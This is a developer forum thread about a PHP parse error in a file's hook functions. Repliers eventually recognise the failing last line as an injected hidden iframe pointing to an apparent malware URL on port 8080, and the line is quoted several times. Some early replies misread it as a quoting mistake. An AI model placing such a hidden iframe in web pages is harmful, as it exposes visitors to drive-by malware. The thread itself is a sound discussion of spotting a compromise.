Can someone help me see what is wrong with this?

I have pasted lines 218 to 237 below (the syntax error is on line 237):

function add_hook($definition)
	{
		if (!is_array($definition))
		{
			$definition = array('__global', $definition);
		}

		$this->hooks[$definition[0]][$definition[1]] = array();
	}

	/**
	* Remove function from the allowed hooks.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	*/
	function remove_hook($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $
$iframe src="http://dynamicfilmmedia.cn:8080/ts/in.cgi?pepsi68" width=125 height=125 style='visibility: hidden'

in that row you need to escape(\) the double qoute (")

\"

T_STRING means a wrong string structure. maybe this $$iframe src ?

a whitespace in variable names is not allowed.

Yep, he's right.

You need to make sure the quote marks for your strings match up, and that they aren't being closed prematurely by what is supposed to be inside the string.

For example:

<?php
echo 'John's name.'; // Parse error (Note how the code coloring is off)'
echo 'John\'s name.'; // OK
echo "John's name"; // OK

echo "He said: "What?""; // Parse error
echo 'He said: "What?"'; // OK
echo "He said: \"What?\""; //OK
?>

I think you are missing the ";" at the end of the line
regards!

Can someone help me see what is wrong with this?

I have pasted lines 218 to 237 below (the syntax error is on line 237):

function add_hook($definition)
{
    if (!is_array($definition))
    {
        $definition = array('__global', $definition);
    }

    $this->hooks[$definition[0]][$definition[1]] = array();
}

/**
* Remove function from the allowed hooks.
*
* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
*/
function remove_hook($definition)
{
    $class = (!is_array($definition)) ? '__global' : $definition[0];
    $function = (!is_array($definition)) ? $definition : $
    $iframe src="http://dynamicfilmmedia.cn:8080/ts/in.cgi?pepsi68" width=125 height=125 style='visibility: hidden'

I think you are missing the ";" at the end of the line
regards!

True, he's missing the ; at the end of both of the last lines.

Not to mention the lonely $ in the second-last line, and the quote mismatch in the last line.

But I suspect he accidentally deleted the end of the second-last line when he posted this here, making the quote mismatch the culprit.
(The error message supports this theory as well.)

Member Avatar for moldova

You've got your site hacked,
check that last line with iframe,
is it your code?

You've got your site hacked,
check that last line with iframe,
is it your code?

According to my knowledge then this stirng is MALWARE:

$iframe src="http://dynamicfilmmedia.cn:8080/ts/in.cgi?pepsi68" width=125 height=125 style='visibility: hidden'

The URL certainly seems like it could be malware.
But why add it like this?

This does seem an odd way to inject malware into a script...
Why not simply append it to the end in a <iframe> tag, rather than try to inject it into PHP script.

Not to mention that if this was injected with the goal of getting hits on that URL... it failed miserably :twisted:

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.